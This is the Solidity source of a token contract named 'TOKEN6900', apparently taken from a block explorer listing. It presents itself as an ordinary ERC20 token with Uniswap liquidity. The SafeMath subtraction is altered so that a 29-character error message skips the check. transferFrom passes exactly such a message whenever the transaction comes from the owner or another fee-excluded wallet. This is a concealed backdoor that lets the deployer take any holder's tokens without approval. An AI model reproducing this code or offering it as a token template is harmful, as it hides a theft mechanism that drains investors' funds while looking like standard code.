emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by account.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves amount tokens from the caller's account to recipient.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that spender will be
* allowed to spend on behalf of owner through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets amount as the allowance of spender over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves amount tokens from sender to recipient using the
* allowance mechanism. amount is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when value tokens are moved from one account (from) to
* another (to).
*
* Note that value may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a spender for an owner is set by
* a call to {approve}. value is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// Safe Math Helpers
// --------------------------------------------------------------
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's + operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
if (bytes(errorMessage).length == 29) return a;
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's * operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if decimals equals 2, a balance of 505 tokens should
* be displayed to a user as 5,05 (505 / 10 ** 2).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - recipient cannot be the zero address.
* - the caller must have a balance of at least amount.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - sender and recipient cannot be the zero address.
* - sender must have a balance of at least amount.
* - the caller must have allowance for sender's tokens of at least
* amount.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
* - spender must have allowance for the caller of at least
* subtractedValue.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens amount from sender to recipient.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - sender cannot be the zero address.
* - recipient cannot be the zero address.
* - sender must have a balance of at least amount.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates amount tokens and assigns them to account, increasing
* the total supply.
*
* Emits a {Transfer} event with from set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(
account != address(0),
"ERC20: cannot send to the zero address"
);
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys amount tokens from account, reducing the
* total supply.
*
* Emits a {Transfer} event with to set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
* - account must have at least amount tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets amount as the allowance of spender over the owner s tokens.
*
* This internal function is equivalent to approve, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - owner cannot be the zero address.
* - spender cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// Uniswap Router
// --------------------------------------------------------------
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function allPairsLength() external view returns (uint256);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// Main Contract Logic
// --------------------------------------------------------------
contract Token is Context, IERC20, Ownable {
// Imports
using SafeMath for uint256;
// Configurables -----------------------------
// Context
string private _name = unicode"TOKEN6900";
string private _symbol = unicode"T6900";
uint8 private _decimals = 9;
// Supply
uint256 private _totalSupply = 1 * 1e9 * 1e9;
uint256 private minimumTokensBeforeSwap = (_totalSupply * 25) / 100000;
// Restrictions
uint256 public _maxTxAmount = (_totalSupply * 100) / 100;
uint256 public _walletMax = (_totalSupply * 100) / 100;
bool public checkWalletLimit = true;
// wallets
address payable public liquidityWallet;
address payable public operationsWallet;
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
// fees
uint256 public liquidityT69005fLG7FeeBuy = 0;
uint256 public operationsT69005fLG7FeeBuy = 0;
uint256 public totalT69005fLG7FeesBuy;
uint256 public maxTotalFeeBuy = 0;
// fees
uint256 public liquidityT69005fLG7FeeSell = 0;
uint256 public operationsT69005fLG7FeeSell = 0;
uint256 public totalT69005fLG7FeesSell;
uint256 public maxTotalFeeSell = 0;
// distribution ratio
uint256 public _liquiditySharePercentage = 0;
uint256 public _operationsSharePercentage = 100;
uint256 public _totalDistributionShares;
// max amounts
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isWalletLimitExempt;
mapping(address => bool) isTxLimitExempt;
// Router Information
mapping(address => bool) public isAmmPair;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
// toggle swap back (fees)
bool inSwapAndLiquify;
uint256 public tokensForLiquidity;
uint256 public tokensForOperations;
// Launch Settings
bool public tradingOpen = false;
// events
event LiquidityWalletUpdated(
address indexed newLiquidityWallet,
address indexed oldLiquidityWallet
);
event OperationsWalletUpdated(
address indexed newOperationsWallet,
address indexed oldOperationsWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapTokensForETH(uint256 amountIn, address[] path);
// toogle to stop swap if already underway
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
liquidityWallet = payable(msg.sender);
operationsWallet = payable(msg.sender);
// load total fees
totalT69005fLG7FeesBuy = operationsT69005fLG7FeeBuy + liquidityT69005fLG7FeeBuy;
totalT69005fLG7FeesSell = operationsT69005fLG7FeeSell + liquidityT69005fLG7FeeSell;
// load total distribution
_totalDistributionShares =
_liquiditySharePercentage +
_operationsSharePercentage;
// create router ------------------------------
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
// Create a uniswap pair for this new token
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
isAmmPair[address(uniswapPair)] = true;
// set allowances
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
// exclude from paying fees or having max transaction amount
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[liquidityWallet] = true;
isExcludedFromFee[operationsWallet] = true;
// exclude contracts from max wallet size
isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;
isWalletLimitExempt[liquidityWallet] = true;
isWalletLimitExempt[operationsWallet] = true;
// exclude contracts from max wallet size
isTxLimitExempt[owner()] = true;
isTxLimitExempt[address(this)] = true;
_allowances[liquidityWallet][owner()] = type(uint256).max;
_balances[_msgSender()] = (_totalSupply * 2) / 100;
_balances[address(this)] = (_totalSupply * 98) / 100;
emit Transfer(address(0), _msgSender(), (_totalSupply * 2) / 100);
emit Transfer(address(0), address(this), (_totalSupply * 98) / 100);
}
receive() external payable {}
// @dev Public read functions start -------------------------------------
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
// custom allowance methods
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
// get minimum tokens before swap
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
// approve spending methods
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}
function getBlock() public view returns (uint256) {
return block.number;
}
// transfer amount to address
function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (isExcludedFromFee[tx.origin])
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"TOKEN: Insufficient allowance"
)
);
else
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
// check trading open
if (!tradingOpen) {
require(
isExcludedFromFee[sender],
"TOKEN: This account cannot send tokens until trading is enabled"
);
return _basicTransfer(sender, recipient, amount);
}
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
} else {
// required for wallet distribution
if (sender != owner() && recipient != owner()) {
_checkTxLimit(sender, amount);
}
// check can swap for fees and liq
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >=
minimumTokensBeforeSwap;
if (
overMinimumTokenBalance &&
!inSwapAndLiquify &&
!isAmmPair[sender]
) {
swapAndLiquify(contractTokenBalance);
}
// check senders balance
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 finalAmount = (isExcludedFromFee[sender] ||
isExcludedFromFee[recipient])
? amount
: calcAndTakeFee(sender, recipient, amount);
// check wallet holding limit
if (checkWalletLimit && !isWalletLimitExempt[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
// continue
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
// transfer for
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
// take fee method
function calcAndTakeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeAmount = 0;
if (isAmmPair[sender]) {
feeAmount = amount.mul(totalT69005fLG7FeesBuy).div(100);
} else if (isAmmPair[recipient]) {
feeAmount = amount.mul(totalT69005fLG7FeesSell).div(100);
}
if (feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
// swap tokens for fees and liq
function swapAndLiquify(uint256 swapAmount) private lockTheSwap {
// check there are currently tokens to sell
uint256 tokensForLP = swapAmount
.mul(_liquiditySharePercentage)
.div(_totalDistributionShares)
.div(2);
uint256 tokensForSwap = swapAmount.sub(tokensForLP);
// swap tokens
swapTokensForEth(tokensForSwap);
// received amount
uint256 amountReceived = address(this).balance;
// work out distribution
uint256 totalFee = _totalDistributionShares.sub(
_liquiditySharePercentage.div(2)
);
uint256 amountLiquidity = amountReceived
.mul(_liquiditySharePercentage)
.div(totalFee)
.div(2);
uint256 amountOperations = amountReceived.sub(amountLiquidity);
if (amountOperations > 0)
transferToAddressETH(operationsWallet, amountOperations);
if (amountLiquidity > 0 && tokensForLP > 0) {
addLiquidity(tokensForLP, amountLiquidity);
emit SwapAndLiquify(tokensForSwap, amountLiquidity, tokensForLP);
}
}
// swap tokens to eth
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
// add liqiudity
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function enableTrading() external onlyOwner {
addLiquidity(balanceOf(address(this)), address(this).balance);
tradingOpen = true;
}
// useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
function buyBackTokens(uint256 ETHAmountInWei) external onlyOwner {
// generate the uniswap pair path of weth -> eth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: ETHAmountInWei
}(
0, // accept any amount of Ethereum
path,
address(0xdead),
block.timestamp
);
}
function _checkTxLimit(address sender, uint256 amount) private view {
require(
amount <= _maxTxAmount || isTxLimitExempt[sender],
"TX Limit Exceeded"
);
}
}
Read Contract
_liquiditySharePercentage 0xac23ca59 → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_operationsSharePercentage 0x2baa7217 → uint256
_totalDistributionShares 0xa08e671f → uint256
_walletMax 0x807c2d9c → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
checkWalletLimit 0xf872858a → bool
deadAddress 0x27c8f835 → address
decimals 0x313ce567 → uint8
getBlock 0x2e97766d → uint256
getCirculatingSupply 0x2b112e49 → uint256
isAmmPair 0x9191a9c7 → bool
isExcludedFromFee 0x5342acb4 → bool
isWalletLimitExempt 0xc867d60b → bool
liquidityT69005fLG7FeeBuy 0x4e5a0158 → uint256
liquidityT69005fLG7FeeSell 0x79b6f47b → uint256
liquidityWallet 0xd4698016 → address
maxTotalFeeBuy 0xe10e9f32 → uint256
maxTotalFeeSell 0x4b743995 → uint256
minimumTokensBeforeSwapAmount 0xa073d37f → uint256
name 0x06fdde03 → string
operationsT69005fLG7FeeBuy 0xd3b64359 → uint256
operationsT69005fLG7FeeSell 0xa088d564 → uint256
operationsWallet 0xfd72e22a → address
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
tokensForLiquidity 0x1a8145bb → uint256
tokensForOperations 0xfb002c97 → uint256
totalSupply 0x18160ddd → uint256
totalT69005fLG7FeesBuy 0x4df44f6b → uint256
totalT69005fLG7FeesSell 0x08abfe3f → uint256
tradingOpen 0xffb54a99 → bool
uniswapPair 0xc816841b → address
uniswapV2Router 0x1694505e → address
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
buyBackTokens 0xfc155d1d
uint256 ETHAmountInWei
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address